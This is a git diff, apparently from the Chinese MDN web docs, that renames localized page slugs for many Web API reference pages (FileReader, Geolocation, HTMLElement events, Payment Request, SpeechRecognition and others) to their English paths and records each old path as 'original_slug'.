    diff --git a/files/zh-cn/web/api/file_and_directory_entries_api/introduction/index.html b/files/zh-cn/web/api/file_and_directory_entries_api/introduction/index.html index e26a6b3c45..1dac673d6c 100644 --- a/files/zh-cn/web/api/file_and_directory_entries_api/introduction/index.html +++ b/files/zh-cn/web/api/file_and_directory_entries_api/introduction/index.html @@ -1,7 +1,8 @@ --- title: 文件系统API的基本概念 -slug: WebGuide/API/File_System/Introduction +slug: Web/API/File_and_Directory_Entries_API/Introduction translation_of: Web/API/File_and_Directory_Entries_API/Introduction +original_slug: WebGuide/API/File_System/Introduction ---

    本文是对Basic_Concepts_About_the_Filesystem_API一文的译文。

    diff --git a/files/zh-cn/web/api/filereader/abort_event/index.html b/files/zh-cn/web/api/filereader/abort_event/index.html index 8e36dbb3dd..e6a2040602 100644 --- a/files/zh-cn/web/api/filereader/abort_event/index.html +++ b/files/zh-cn/web/api/filereader/abort_event/index.html @@ -1,6 +1,6 @@ --- title: 'FileReader: 中止事件(abort)' -slug: Web/API/FileReader/中止事件(abort) +slug: Web/API/FileReader/abort_event tags: - API - FileReader @@ -11,6 +11,7 @@ tags: - 中止 - 事件 translation_of: Web/API/FileReader/abort_event +original_slug: Web/API/FileReader/中止事件(abort) ---
    {{APIRef}}
    diff --git a/files/zh-cn/web/api/formdata/delete/index.html b/files/zh-cn/web/api/formdata/delete/index.html index 9d38b4e20a..2841460298 100644 --- a/files/zh-cn/web/api/formdata/delete/index.html +++ b/files/zh-cn/web/api/formdata/delete/index.html @@ -1,9 +1,10 @@ --- title: FormData.delete() -slug: Web/API/FormData/删除 +slug: Web/API/FormData/delete tags: - 删除 translation_of: Web/API/FormData/delete +original_slug: Web/API/FormData/删除 ---

    {{APIRef("XMLHttpRequest")}}

    diff --git a/files/zh-cn/web/api/fullscreen_api/guide/index.html b/files/zh-cn/web/api/fullscreen_api/guide/index.html index b2d2d36f3a..02ba338c48 100644 --- a/files/zh-cn/web/api/fullscreen_api/guide/index.html +++ b/files/zh-cn/web/api/fullscreen_api/guide/index.html @@ -1,6 +1,6 @@ --- title: 全屏指南 -slug: Web/API/Fullscreen_API/指南 +slug: Web/API/Fullscreen_API/Guide tags: - API - 全屏 @@ -12,6 +12,7 @@ tags: - 显示 - 游戏 translation_of: Web/API/Fullscreen_API/Guide +original_slug: Web/API/Fullscreen_API/指南 ---
    {{DefaultAPISidebar("Fullscreen API")}}
    diff --git a/files/zh-cn/web/api/geolocation_api/index.html b/files/zh-cn/web/api/geolocation_api/index.html index 54d8665516..1618172faf 100644 --- a/files/zh-cn/web/api/geolocation_api/index.html +++ b/files/zh-cn/web/api/geolocation_api/index.html @@ -1,10 +1,11 @@ --- title: 使用地理位置定位 -slug: Web/API/Geolocation/Using_geolocation +slug: Web/API/Geolocation_API tags: - 地理位置 API - 指南 translation_of: Web/API/Geolocation_API +original_slug: Web/API/Geolocation/Using_geolocation ---

    地理位置 API 允许用户向 Web 应用程序提供他们的位置。出于隐私考虑,报告地理位置前会先请求用户许可。

    diff --git a/files/zh-cn/web/api/geolocationposition/timestamp/index.html b/files/zh-cn/web/api/geolocationposition/timestamp/index.html index e4c731f868..faa4a6a3da 100644 --- a/files/zh-cn/web/api/geolocationposition/timestamp/index.html +++ b/files/zh-cn/web/api/geolocationposition/timestamp/index.html @@ -1,7 +1,8 @@ --- title: GeolocationPosition.timestamp -slug: Web/API/GeolocationPosition/获取该位置时的时间戳 +slug: Web/API/GeolocationPosition/timestamp translation_of: Web/API/GeolocationPosition/timestamp +original_slug: Web/API/GeolocationPosition/获取该位置时的时间戳 ---
    {{securecontext_header}}{{APIRef("Geolocation API")}}
    diff --git a/files/zh-cn/web/api/globaleventhandlers/ondurationchange/index.html b/files/zh-cn/web/api/globaleventhandlers/ondurationchange/index.html index 2c3923fca9..fad4e30ac8 100644 --- a/files/zh-cn/web/api/globaleventhandlers/ondurationchange/index.html +++ b/files/zh-cn/web/api/globaleventhandlers/ondurationchange/index.html @@ -1,11 +1,12 @@ --- title: GlobalEventHandlers.ondurationchange -slug: Web/API/GlobalEventHandlers/时长改变 +slug: Web/API/GlobalEventHandlers/ondurationchange tags: - API - Audio - Video translation_of: Web/API/GlobalEventHandlers/ondurationchange +original_slug: Web/API/GlobalEventHandlers/时长改变 ---
    {{ ApiRef("HTML DOM") }}
    diff --git a/files/zh-cn/web/api/htmlanchorelement/referrerpolicy/index.html b/files/zh-cn/web/api/htmlanchorelement/referrerpolicy/index.html index b3e30b3fe2..a4ed4b000d 100644 --- a/files/zh-cn/web/api/htmlanchorelement/referrerpolicy/index.html +++ b/files/zh-cn/web/api/htmlanchorelement/referrerpolicy/index.html @@ -1,7 +1,8 @@ --- title: HTMLAnchorElement.referrer -slug: Web/API/HTMLAnchorElement/referrer +slug: Web/API/HTMLAnchorElement/referrerPolicy translation_of: Web/API/HTMLAnchorElement/referrerPolicy +original_slug: Web/API/HTMLAnchorElement/referrer ---
    {{APIRef}}{{SeeCompatTable}}
    diff --git a/files/zh-cn/web/api/htmlcanvaselement/capturestream/index.html b/files/zh-cn/web/api/htmlcanvaselement/capturestream/index.html index 999485b6f6..a0fdca7df3 100644 --- a/files/zh-cn/web/api/htmlcanvaselement/capturestream/index.html +++ b/files/zh-cn/web/api/htmlcanvaselement/capturestream/index.html @@ -1,7 +1,8 @@ --- title: HTMLCanvasElement.captureStream() -slug: Web/API/HTMLCanvasElement/捕获流 +slug: Web/API/HTMLCanvasElement/captureStream translation_of: Web/API/HTMLCanvasElement/captureStream +original_slug: Web/API/HTMLCanvasElement/捕获流 ---
    {{APIRef("Media Capture and Streams")}}{{SeeCompatTable}}
    diff --git a/files/zh-cn/web/api/htmlelement/accesskey/index.html b/files/zh-cn/web/api/htmlelement/accesskey/index.html index 4f76e7f784..832396ac33 100644 --- a/files/zh-cn/web/api/htmlelement/accesskey/index.html +++ b/files/zh-cn/web/api/htmlelement/accesskey/index.html @@ -1,12 +1,13 @@ --- title: Element.accessKey -slug: Web/API/Element/accessKey +slug: Web/API/HTMLElement/accessKey tags: - API接口 - 属性 - 需要丰富内容 translation_of: Web/API/HTMLElement/accessKey translation_of_original: Web/API/Element/accessKey +original_slug: Web/API/Element/accessKey ---
    {{APIRef("DOM")}}
    diff --git a/files/zh-cn/web/api/htmlelement/animationend_event/index.html b/files/zh-cn/web/api/htmlelement/animationend_event/index.html index cb701ac392..85c1303f28 100644 --- a/files/zh-cn/web/api/htmlelement/animationend_event/index.html +++ b/files/zh-cn/web/api/htmlelement/animationend_event/index.html @@ -1,6 +1,6 @@ --- title: animationend -slug: Web/Events/animationend +slug: Web/API/HTMLElement/animationend_event tags: - Animation - AnimationEvent @@ -10,6 +10,7 @@ tags: - Reference - animationend translation_of: Web/API/HTMLElement/animationend_event +original_slug: Web/Events/animationend ---

    animationend 事件会在一个 CSS 动画完成时触发(不包括完成前就已终止的情况,例如元素变得不可见或者动画从元素中移除)。

    diff --git a/files/zh-cn/web/api/htmlelement/animationstart_event/index.html b/files/zh-cn/web/api/htmlelement/animationstart_event/index.html index 53929bfb0d..3f2092239a 100644 --- a/files/zh-cn/web/api/htmlelement/animationstart_event/index.html +++ b/files/zh-cn/web/api/htmlelement/animationstart_event/index.html @@ -1,6 +1,6 @@ --- title: animationstart -slug: Web/Events/animationstart +slug: Web/API/HTMLElement/animationstart_event tags: - Animation - AnimationEvent @@ -10,6 +10,7 @@ tags: - Reference - animationstart translation_of: Web/API/HTMLElement/animationstart_event +original_slug: Web/Events/animationstart ---

    animationstart 事件会在 CSS 动画开始时触发。 如果有 animation-delay 延时,事件会在延迟时效过后立即触发。为负数的延时时长会致使事件被触发时事件的 elapsedTime 属性值等于该时长的绝对值(并且,相应地,动画将直接播放该时长绝对值之后的动画)。

    diff --git a/files/zh-cn/web/api/htmlelement/change_event/index.html b/files/zh-cn/web/api/htmlelement/change_event/index.html index 6a997fc430..d1e5766eeb 100644 --- a/files/zh-cn/web/api/htmlelement/change_event/index.html +++ b/files/zh-cn/web/api/htmlelement/change_event/index.html @@ -1,6 +1,6 @@ --- title: change -slug: Web/Events/change +slug: Web/API/HTMLElement/change_event tags: - Change - HTML @@ -10,6 +10,7 @@ tags: - 事件 - 参考 translation_of: Web/API/HTMLElement/change_event +original_slug: Web/Events/change ---

    {{APIRef}}

    diff --git a/files/zh-cn/web/api/htmlelement/innertext/index.html b/files/zh-cn/web/api/htmlelement/innertext/index.html index 3062dda65f..723d09779e 100644 --- a/files/zh-cn/web/api/htmlelement/innertext/index.html +++ b/files/zh-cn/web/api/htmlelement/innertext/index.html @@ -1,6 +1,6 @@ --- title: HTMLElement.innerText -slug: Web/API/Node/innerText +slug: Web/API/HTMLElement/innerText tags: - API - DOM @@ -10,6 +10,7 @@ tags: - 参考 - 属性 translation_of: Web/API/HTMLElement/innerText +original_slug: Web/API/Node/innerText ---
    {{APIRef("DOM")}}
    diff --git a/files/zh-cn/web/api/htmlelement/input_event/index.html b/files/zh-cn/web/api/htmlelement/input_event/index.html index 7ee1b98ad5..12164b4ed4 100644 --- a/files/zh-cn/web/api/htmlelement/input_event/index.html +++ b/files/zh-cn/web/api/htmlelement/input_event/index.html @@ -1,6 +1,6 @@ --- title: input -slug: Web/Events/input +slug: Web/API/HTMLElement/input_event tags: - HTML DOM - HTMLElement @@ -10,6 +10,7 @@ tags: - 表单 - 输入 translation_of: Web/API/HTMLElement/input_event +original_slug: Web/Events/input ---

    {{APIRef}}

    diff --git a/files/zh-cn/web/api/htmlelement/transitionend_event/index.html b/files/zh-cn/web/api/htmlelement/transitionend_event/index.html index f79db8503a..a89b39de86 100644 --- a/files/zh-cn/web/api/htmlelement/transitionend_event/index.html +++ b/files/zh-cn/web/api/htmlelement/transitionend_event/index.html @@ -1,7 +1,8 @@ --- title: transitionend -slug: Web/Events/transitionend +slug: Web/API/HTMLElement/transitionend_event translation_of: Web/API/HTMLElement/transitionend_event +original_slug: Web/Events/transitionend ---
    {{APIRef}}
    diff --git a/files/zh-cn/web/api/htmlhyperlinkelementutils/hash/index.html b/files/zh-cn/web/api/htmlhyperlinkelementutils/hash/index.html index 5d8cc21f43..afb17d505e 100644 --- a/files/zh-cn/web/api/htmlhyperlinkelementutils/hash/index.html +++ b/files/zh-cn/web/api/htmlhyperlinkelementutils/hash/index.html @@ -1,9 +1,10 @@ --- title: HTMLHyperlinkElementUtils.hash -slug: Web/API/URLUtils/hash +slug: Web/API/HTMLHyperlinkElementUtils/hash tags: - HTMLHyperlinkElementUtils.hash translation_of: Web/API/HTMLHyperlinkElementUtils/hash +original_slug: Web/API/URLUtils/hash ---

    {{ APIRef("URLUtils") }}

    diff --git a/files/zh-cn/web/api/htmlhyperlinkelementutils/href/index.html b/files/zh-cn/web/api/htmlhyperlinkelementutils/href/index.html index cff669766d..dd9cbd64f3 100644 --- a/files/zh-cn/web/api/htmlhyperlinkelementutils/href/index.html +++ b/files/zh-cn/web/api/htmlhyperlinkelementutils/href/index.html @@ -1,9 +1,10 @@ --- title: HTMLHyperlinkElementUtils.href -slug: Web/API/URLUtils/href +slug: Web/API/HTMLHyperlinkElementUtils/href tags: - HTMLHyperlinkElementUtils.href translation_of: Web/API/HTMLHyperlinkElementUtils/href +original_slug: Web/API/URLUtils/href ---

    {{ApiRef("URL API")}}

    diff --git a/files/zh-cn/web/api/htmlhyperlinkelementutils/index.html b/files/zh-cn/web/api/htmlhyperlinkelementutils/index.html index e8d6c719d9..d6d93674e3 100644 --- a/files/zh-cn/web/api/htmlhyperlinkelementutils/index.html +++ b/files/zh-cn/web/api/htmlhyperlinkelementutils/index.html @@ -1,7 +1,8 @@ --- title: URLUtils -slug: Web/API/URLUtils +slug: Web/API/HTMLHyperlinkElementUtils translation_of: Web/API/HTMLHyperlinkElementUtils +original_slug: Web/API/URLUtils ---

    {{ApiRef("URL API")}}{{SeeCompatTable}}

    diff --git a/files/zh-cn/web/api/htmlhyperlinkelementutils/origin/index.html b/files/zh-cn/web/api/htmlhyperlinkelementutils/origin/index.html index d0f8d926ec..6b1eb90cda 100644 --- a/files/zh-cn/web/api/htmlhyperlinkelementutils/origin/index.html +++ b/files/zh-cn/web/api/htmlhyperlinkelementutils/origin/index.html @@ -1,9 +1,10 @@ --- title: HTMLHyperlinkElementUtils.origin -slug: Web/API/URLUtils/origin +slug: Web/API/HTMLHyperlinkElementUtils/origin tags: - HTMLHyperlinkElementUtils.origin translation_of: Web/API/HTMLHyperlinkElementUtils/origin +original_slug: Web/API/URLUtils/origin ---

    {{APIRef("URL API")}}

    diff --git a/files/zh-cn/web/api/htmlhyperlinkelementutils/password/index.html b/files/zh-cn/web/api/htmlhyperlinkelementutils/password/index.html index 99e9944875..0358323ce9 100644 --- a/files/zh-cn/web/api/htmlhyperlinkelementutils/password/index.html +++ b/files/zh-cn/web/api/htmlhyperlinkelementutils/password/index.html @@ -1,9 +1,10 @@ --- title: HTMLHyperlinkElementUtils.password -slug: Web/API/URLUtils/password +slug: Web/API/HTMLHyperlinkElementUtils/password tags: - HTMLHyperlinkElementUtils.password translation_of: Web/API/HTMLHyperlinkElementUtils/password +original_slug: Web/API/URLUtils/password ---

    {{ApiRef("URL API")}}

    diff --git a/files/zh-cn/web/api/htmlhyperlinkelementutils/pathname/index.html b/files/zh-cn/web/api/htmlhyperlinkelementutils/pathname/index.html index 203da5393a..95ceda3636 100644 --- a/files/zh-cn/web/api/htmlhyperlinkelementutils/pathname/index.html +++ b/files/zh-cn/web/api/htmlhyperlinkelementutils/pathname/index.html @@ -1,9 +1,10 @@ --- title: HTMLHyperlinkElementUtils.pathname -slug: Web/API/URLUtils/pathname +slug: Web/API/HTMLHyperlinkElementUtils/pathname tags: - HTMLHyperlinkElementUtils.pathname translation_of: Web/API/HTMLHyperlinkElementUtils/pathname +original_slug: Web/API/URLUtils/pathname ---

    {{ApiRef("URL API")}}

    diff --git a/files/zh-cn/web/api/htmlhyperlinkelementutils/search/index.html b/files/zh-cn/web/api/htmlhyperlinkelementutils/search/index.html index 4c9c8ae554..1fc142cc1f 100644 --- a/files/zh-cn/web/api/htmlhyperlinkelementutils/search/index.html +++ b/files/zh-cn/web/api/htmlhyperlinkelementutils/search/index.html @@ -1,9 +1,10 @@ --- title: HTMLHyperlinkElementUtils.search -slug: Web/API/URLUtils/search +slug: Web/API/HTMLHyperlinkElementUtils/search tags: - HTMLHyperlinkElementUtils.search translation_of: Web/API/HTMLHyperlinkElementUtils/search +original_slug: Web/API/URLUtils/search ---

    {{ApiRef("URL API")}}

    diff --git a/files/zh-cn/web/api/htmlhyperlinkelementutils/tostring/index.html b/files/zh-cn/web/api/htmlhyperlinkelementutils/tostring/index.html index 172ffda98b..1bffe5100b 100644 --- a/files/zh-cn/web/api/htmlhyperlinkelementutils/tostring/index.html +++ b/files/zh-cn/web/api/htmlhyperlinkelementutils/tostring/index.html @@ -1,10 +1,11 @@ --- title: HTMLHyperlinkElementUtils.toString() -slug: Web/API/URLUtils/toString +slug: Web/API/HTMLHyperlinkElementUtils/toString tags: - HTMLHyperlinkElementUtils.toString() - URL API translation_of: Web/API/HTMLHyperlinkElementUtils/toString +original_slug: Web/API/URLUtils/toString ---

    {{ApiRef("URL API")}}

    diff --git a/files/zh-cn/web/api/htmlhyperlinkelementutils/username/index.html b/files/zh-cn/web/api/htmlhyperlinkelementutils/username/index.html index 2e7a101f9f..f7a9df9f66 100644 --- a/files/zh-cn/web/api/htmlhyperlinkelementutils/username/index.html +++ b/files/zh-cn/web/api/htmlhyperlinkelementutils/username/index.html @@ -1,9 +1,10 @@ --- title: HTMLHyperlinkElementUtils.username -slug: Web/API/URLUtils/username +slug: Web/API/HTMLHyperlinkElementUtils/username tags: - HTMLHyperlinkElementUtils.username translation_of: Web/API/HTMLHyperlinkElementUtils/username +original_slug: Web/API/URLUtils/username ---

    {{ApiRef("URL API")}}

    diff --git a/files/zh-cn/web/api/htmlorforeignelement/blur/index.html b/files/zh-cn/web/api/htmlorforeignelement/blur/index.html index 96452abcc0..a8a3f46e58 100644 --- a/files/zh-cn/web/api/htmlorforeignelement/blur/index.html +++ b/files/zh-cn/web/api/htmlorforeignelement/blur/index.html @@ -1,6 +1,6 @@ --- title: HTMLElement.blur() -slug: Web/API/HTMLElement/blur +slug: Web/API/HTMLOrForeignElement/blur tags: - API - HTML DOM @@ -8,6 +8,7 @@ tags: - Method - Reference translation_of: Web/API/HTMLOrForeignElement/blur +original_slug: Web/API/HTMLElement/blur ---

    {{ APIRef() }}

    概述

    diff --git a/files/zh-cn/web/api/htmlorforeignelement/dataset/index.html b/files/zh-cn/web/api/htmlorforeignelement/dataset/index.html index 63ab5f48e8..bb7e0977e7 100644 --- a/files/zh-cn/web/api/htmlorforeignelement/dataset/index.html +++ b/files/zh-cn/web/api/htmlorforeignelement/dataset/index.html @@ -1,9 +1,10 @@ --- title: HTMLElement.dataset -slug: Web/API/HTMLElement/dataset +slug: Web/API/HTMLOrForeignElement/dataset tags: - HTMLElement.dataset translation_of: Web/API/HTMLOrForeignElement/dataset +original_slug: Web/API/HTMLElement/dataset ---

    {{ APIRef }}

    diff --git a/files/zh-cn/web/api/htmlorforeignelement/focus/index.html b/files/zh-cn/web/api/htmlorforeignelement/focus/index.html index eb47aff613..cc8e3f72d9 100644 --- a/files/zh-cn/web/api/htmlorforeignelement/focus/index.html +++ b/files/zh-cn/web/api/htmlorforeignelement/focus/index.html @@ -1,12 +1,13 @@ --- title: HTMLElement.focus() -slug: Web/API/HTMLElement/focus +slug: Web/API/HTMLOrForeignElement/focus tags: - API - 参考 - 方法 - 焦点 translation_of: Web/API/HTMLOrForeignElement/focus +original_slug: Web/API/HTMLElement/focus ---
    {{ APIRef("HTML DOM") }}
    diff --git a/files/zh-cn/web/api/htmlorforeignelement/nonce/index.html b/files/zh-cn/web/api/htmlorforeignelement/nonce/index.html index b2c6c829b1..07e113a5bb 100644 --- a/files/zh-cn/web/api/htmlorforeignelement/nonce/index.html +++ b/files/zh-cn/web/api/htmlorforeignelement/nonce/index.html @@ -1,6 +1,6 @@ --- title: HTMLElement.nonce -slug: Web/API/HTMLElement/nonce +slug: Web/API/HTMLOrForeignElement/nonce tags: - API - nonce @@ -8,6 +8,7 @@ tags: - 实验性 - 属性 translation_of: Web/API/HTMLOrForeignElement/nonce +original_slug: Web/API/HTMLElement/nonce ---

    {{SeeCompatTable}}{{APIRef("HTML DOM")}}

    diff --git a/files/zh-cn/web/api/htmlorforeignelement/tabindex/index.html b/files/zh-cn/web/api/htmlorforeignelement/tabindex/index.html index 516c659c2a..1e842c0ff4 100644 --- a/files/zh-cn/web/api/htmlorforeignelement/tabindex/index.html +++ b/files/zh-cn/web/api/htmlorforeignelement/tabindex/index.html @@ -1,7 +1,8 @@ --- title: HTMLElement.tabIndex -slug: Web/API/HTMLElement/tabIndex +slug: Web/API/HTMLOrForeignElement/tabIndex translation_of: Web/API/HTMLOrForeignElement/tabIndex +original_slug: Web/API/HTMLElement/tabIndex ---
    {{ APIRef("HTML DOM") }}
    diff --git a/files/zh-cn/web/api/index/index.html b/files/zh-cn/web/api/index/index.html index 9993a0a959..e910b907d2 100644 --- a/files/zh-cn/web/api/index/index.html +++ b/files/zh-cn/web/api/index/index.html @@ -1,6 +1,7 @@ --- title: 指数 -slug: Web/API/指数 +slug: Web/API/Index translation_of: Web/API/Index +original_slug: Web/API/指数 ---

    {{Index("/zh-CN/docs/Web/API")}}

    diff --git a/files/zh-cn/web/api/intersection_observer_api/timing_element_visibility/index.html b/files/zh-cn/web/api/intersection_observer_api/timing_element_visibility/index.html index 24446a0141..37c36f7c23 100644 --- a/files/zh-cn/web/api/intersection_observer_api/timing_element_visibility/index.html +++ b/files/zh-cn/web/api/intersection_observer_api/timing_element_visibility/index.html @@ -1,7 +1,8 @@ --- title: Timing element visibility with the Intersection Observer API -slug: Web/API/Intersection_Observer_API/点观察者API的时序元素可见性 +slug: Web/API/Intersection_Observer_API/Timing_element_visibility translation_of: Web/API/Intersection_Observer_API/Timing_element_visibility +original_slug: Web/API/Intersection_Observer_API/点观察者API的时序元素可见性 ---
    {{APIRef("Intersection Observer API")}}
    diff --git a/files/zh-cn/web/api/mediastream/addtrack/index.html b/files/zh-cn/web/api/mediastream/addtrack/index.html index ffb8052af5..e99a0a017e 100644 --- a/files/zh-cn/web/api/mediastream/addtrack/index.html +++ b/files/zh-cn/web/api/mediastream/addtrack/index.html @@ -1,7 +1,8 @@ --- title: MediaStream.addTrack() -slug: Web/API/MediaStream.addTrack +slug: Web/API/MediaStream/addTrack translation_of: Web/API/MediaStream/addTrack +original_slug: Web/API/MediaStream.addTrack ---

    {{APIRef("Media Capture and Streams")}}

    diff --git a/files/zh-cn/web/api/notifications_api/using_the_notifications_api/index.html b/files/zh-cn/web/api/notifications_api/using_the_notifications_api/index.html index 40bbb3848b..36f12c0ed4 100644 --- a/files/zh-cn/web/api/notifications_api/using_the_notifications_api/index.html +++ b/files/zh-cn/web/api/notifications_api/using_the_notifications_api/index.html @@ -1,12 +1,13 @@ --- title: 使用 Web Notifications -slug: Web/API/notification/Using_Web_Notifications +slug: Web/API/Notifications_API/Using_the_Notifications_API tags: - Firefox OS - Notifications - Using the Notifications API - 通知 translation_of: Web/API/Notifications_API/Using_the_Notifications_API +original_slug: Web/API/notification/Using_Web_Notifications ---

    {{APIRef("Web Notifications")}}

    diff --git a/files/zh-cn/web/api/offlineaudiocontext/complete_event/index.html b/files/zh-cn/web/api/offlineaudiocontext/complete_event/index.html index 74bdb5f3ff..139b6d9030 100644 --- a/files/zh-cn/web/api/offlineaudiocontext/complete_event/index.html +++ b/files/zh-cn/web/api/offlineaudiocontext/complete_event/index.html @@ -1,7 +1,8 @@ --- title: 'OfflineAudioContext: complete event' -slug: Web/API/OfflineAudioContext/complete +slug: Web/API/OfflineAudioContext/complete_event translation_of: Web/API/OfflineAudioContext/complete_event +original_slug: Web/API/OfflineAudioContext/complete ---

    {{DefaultAPISidebar("Web Audio API")}}

    diff --git a/files/zh-cn/web/api/payment_request_api/concepts/index.html b/files/zh-cn/web/api/payment_request_api/concepts/index.html index a6772dc5be..30e58235f5 100644 --- a/files/zh-cn/web/api/payment_request_api/concepts/index.html +++ b/files/zh-cn/web/api/payment_request_api/concepts/index.html @@ -1,6 +1,6 @@ --- title: 交易过程的基本概念 -slug: Web/API/支付_请求_接口/Concepts +slug: Web/API/Payment_Request_API/Concepts tags: - API - Apple Pay @@ -15,6 +15,7 @@ tags: - 收款方 - 贸易 translation_of: Web/API/Payment_Request_API/Concepts +original_slug: Web/API/支付_请求_接口/Concepts ---

    {{securecontext_header}}{{DefaultAPISidebar("Payment Request API")}}{{draft}}

    diff --git a/files/zh-cn/web/api/payment_request_api/index.html b/files/zh-cn/web/api/payment_request_api/index.html index 0df4261062..1d3db1feaa 100644 --- a/files/zh-cn/web/api/payment_request_api/index.html +++ b/files/zh-cn/web/api/payment_request_api/index.html @@ -1,6 +1,6 @@ --- title: 支付请求接口 -slug: Web/API/支付_请求_接口 +slug: Web/API/Payment_Request_API tags: - 中间状态 - 信用卡 @@ -13,6 +13,7 @@ tags: - 概述 - 贸易 translation_of: Web/API/Payment_Request_API +original_slug: Web/API/支付_请求_接口 ---
    {{DefaultAPISidebar("Payment Request API")}}{{securecontext_header}}
    diff --git a/files/zh-cn/web/api/performance/memory/index.html b/files/zh-cn/web/api/performance/memory/index.html index e9f5047d4e..074295f951 100644 --- a/files/zh-cn/web/api/performance/memory/index.html +++ b/files/zh-cn/web/api/performance/memory/index.html @@ -1,7 +1,8 @@ --- title: Performance.memory -slug: Web/API/Performance/内存 +slug: Web/API/Performance/memory translation_of: Web/API/Performance/memory +original_slug: Web/API/Performance/内存 ---

    {{APIRef}}

    diff --git a/files/zh-cn/web/api/pointer_lock_api/index.html b/files/zh-cn/web/api/pointer_lock_api/index.html index c22525ddb7..fac9eb5122 100644 --- a/files/zh-cn/web/api/pointer_lock_api/index.html +++ b/files/zh-cn/web/api/pointer_lock_api/index.html @@ -1,7 +1,8 @@ --- title: Pointer Lock API -slug: API/Pointer_Lock_API +slug: Web/API/Pointer_Lock_API translation_of: Web/API/Pointer_Lock_API +original_slug: API/Pointer_Lock_API ---

    {{ SeeCompatTable() }}

    diff --git a/files/zh-cn/web/api/response/clone/index.html b/files/zh-cn/web/api/response/clone/index.html index 0efccea0dc..f43e881bca 100644 --- a/files/zh-cn/web/api/response/clone/index.html +++ b/files/zh-cn/web/api/response/clone/index.html @@ -1,6 +1,6 @@ --- title: Response.clone() -slug: Web/API/Response/克隆 +slug: Web/API/Response/clone tags: - API - Experimental @@ -10,6 +10,7 @@ tags: - Response - clone translation_of: Web/API/Response/clone +original_slug: Web/API/Response/克隆 ---
    {{APIRef("Fetch")}}
    diff --git a/files/zh-cn/web/api/rtcpeerconnection/icecandidate_event/index.html b/files/zh-cn/web/api/rtcpeerconnection/icecandidate_event/index.html index 38fc5c1920..7e830adf3e 100644 --- a/files/zh-cn/web/api/rtcpeerconnection/icecandidate_event/index.html +++ b/files/zh-cn/web/api/rtcpeerconnection/icecandidate_event/index.html @@ -1,7 +1,8 @@ --- title: 'RTCPeerConnection: icecandidate event' -slug: Web/Events/icecandidate +slug: Web/API/RTCPeerConnection/icecandidate_event translation_of: Web/API/RTCPeerConnection/icecandidate_event +original_slug: Web/Events/icecandidate ---

    {{SeeCompatTable}}

    diff --git a/files/zh-cn/web/api/screen_capture_api/using_screen_capture/index.html b/files/zh-cn/web/api/screen_capture_api/using_screen_capture/index.html index ff32263241..e98533ac97 100644 --- a/files/zh-cn/web/api/screen_capture_api/using_screen_capture/index.html +++ b/files/zh-cn/web/api/screen_capture_api/using_screen_capture/index.html @@ -1,11 +1,12 @@ --- title: 使用屏幕捕获API -slug: Web/API/Screen_Capture_API/使用屏幕捕获API +slug: Web/API/Screen_Capture_API/Using_Screen_Capture tags: - API - 屏幕捕获 - 捕获 translation_of: Web/API/Screen_Capture_API/Using_Screen_Capture +original_slug: Web/API/Screen_Capture_API/使用屏幕捕获API ---

    {{DefaultAPISidebar("使用屏幕捕获API")}}

    diff --git a/files/zh-cn/web/api/selection/deletefromdocument/index.html b/files/zh-cn/web/api/selection/deletefromdocument/index.html index 5532bcf0fc..602c872134 100644 --- a/files/zh-cn/web/api/selection/deletefromdocument/index.html +++ b/files/zh-cn/web/api/selection/deletefromdocument/index.html @@ -1,7 +1,8 @@ --- title: Selection.deleteFromDocument() -slug: Web/API/Selection/从Document中删除 +slug: Web/API/Selection/deleteFromDocument translation_of: Web/API/Selection/deleteFromDocument +original_slug: Web/API/Selection/从Document中删除 ---
    diff --git a/files/zh-cn/web/api/server-sent_events/index.html b/files/zh-cn/web/api/server-sent_events/index.html index 4a9d6e0630..a6e44fee83 100644 --- a/files/zh-cn/web/api/server-sent_events/index.html +++ b/files/zh-cn/web/api/server-sent_events/index.html @@ -1,12 +1,13 @@ --- title: Server-sent events -slug: Server-sent_events +slug: Web/API/Server-sent_events tags: - API - NeedsTranslation - Server-sent events - TopicStub translation_of: Web/API/Server-sent_events +original_slug: Server-sent_events ---
    {{DefaultAPISidebar("Server Sent Events")}}
    diff --git a/files/zh-cn/web/api/server-sent_events/using_server-sent_events/index.html b/files/zh-cn/web/api/server-sent_events/using_server-sent_events/index.html index 505ec19a76..5665f55722 100644 --- a/files/zh-cn/web/api/server-sent_events/using_server-sent_events/index.html +++ b/files/zh-cn/web/api/server-sent_events/using_server-sent_events/index.html @@ -1,6 +1,6 @@ --- title: 使用服务器发送事件 -slug: Server-sent_events/Using_server-sent_events +slug: Web/API/Server-sent_events/Using_server-sent_events tags: - Advanced - DOM @@ -11,6 +11,7 @@ tags: - 服务器发送事件 - 通信 translation_of: Web/API/Server-sent_events/Using_server-sent_events +original_slug: Server-sent_events/Using_server-sent_events ---

    {{DefaultAPISidebar("Server Sent Events")}}

    diff --git a/files/zh-cn/web/api/speechrecognition/index.html b/files/zh-cn/web/api/speechrecognition/index.html index 83e11e69e4..2f8bca2c84 100644 --- a/files/zh-cn/web/api/speechrecognition/index.html +++ b/files/zh-cn/web/api/speechrecognition/index.html @@ -1,7 +1,8 @@ --- title: 语音识别 -slug: Web/API/语音识别 +slug: Web/API/SpeechRecognition translation_of: Web/API/SpeechRecognition +original_slug: Web/API/语音识别 ---

    {{APIRef("Web Speech API")}}{{SeeCompatTable}}

    diff --git a/files/zh-cn/web/api/speechrecognition/result_event/index.html b/files/zh-cn/web/api/speechrecognition/result_event/index.html index d6415441f3..ca9fcea3f3 100644 --- a/files/zh-cn/web/api/speechrecognition/result_event/index.html +++ b/files/zh-cn/web/api/speechrecognition/result_event/index.html @@ -1,7 +1,8 @@ --- title: 'SpeechRecognition: result event' -slug: Web/API/语音识别/result_event +slug: Web/API/SpeechRecognition/result_event translation_of: Web/API/SpeechRecognition/result_event +original_slug: Web/API/语音识别/result_event ---
    {{APIRef("Web Speech API")}} {{SeeCompatTable}}
    diff --git a/files/zh-cn/web/api/streams_api/concepts/index.html b/files/zh-cn/web/api/streams_api/concepts/index.html index 9c2d9f77ae..a634fb4f07 100644 --- a/files/zh-cn/web/api/streams_api/concepts/index.html +++ b/files/zh-cn/web/api/streams_api/concepts/index.html @@ -1,10 +1,11 @@ --- title: Streams API 概念 -slug: Web/API/Streams_API/概念 +slug: Web/API/Streams_API/Concepts tags: - 概念 - 流 translation_of: Web/API/Streams_API/Concepts +original_slug: Web/API/Streams_API/概念 ---
    {{apiref("Streams")}}
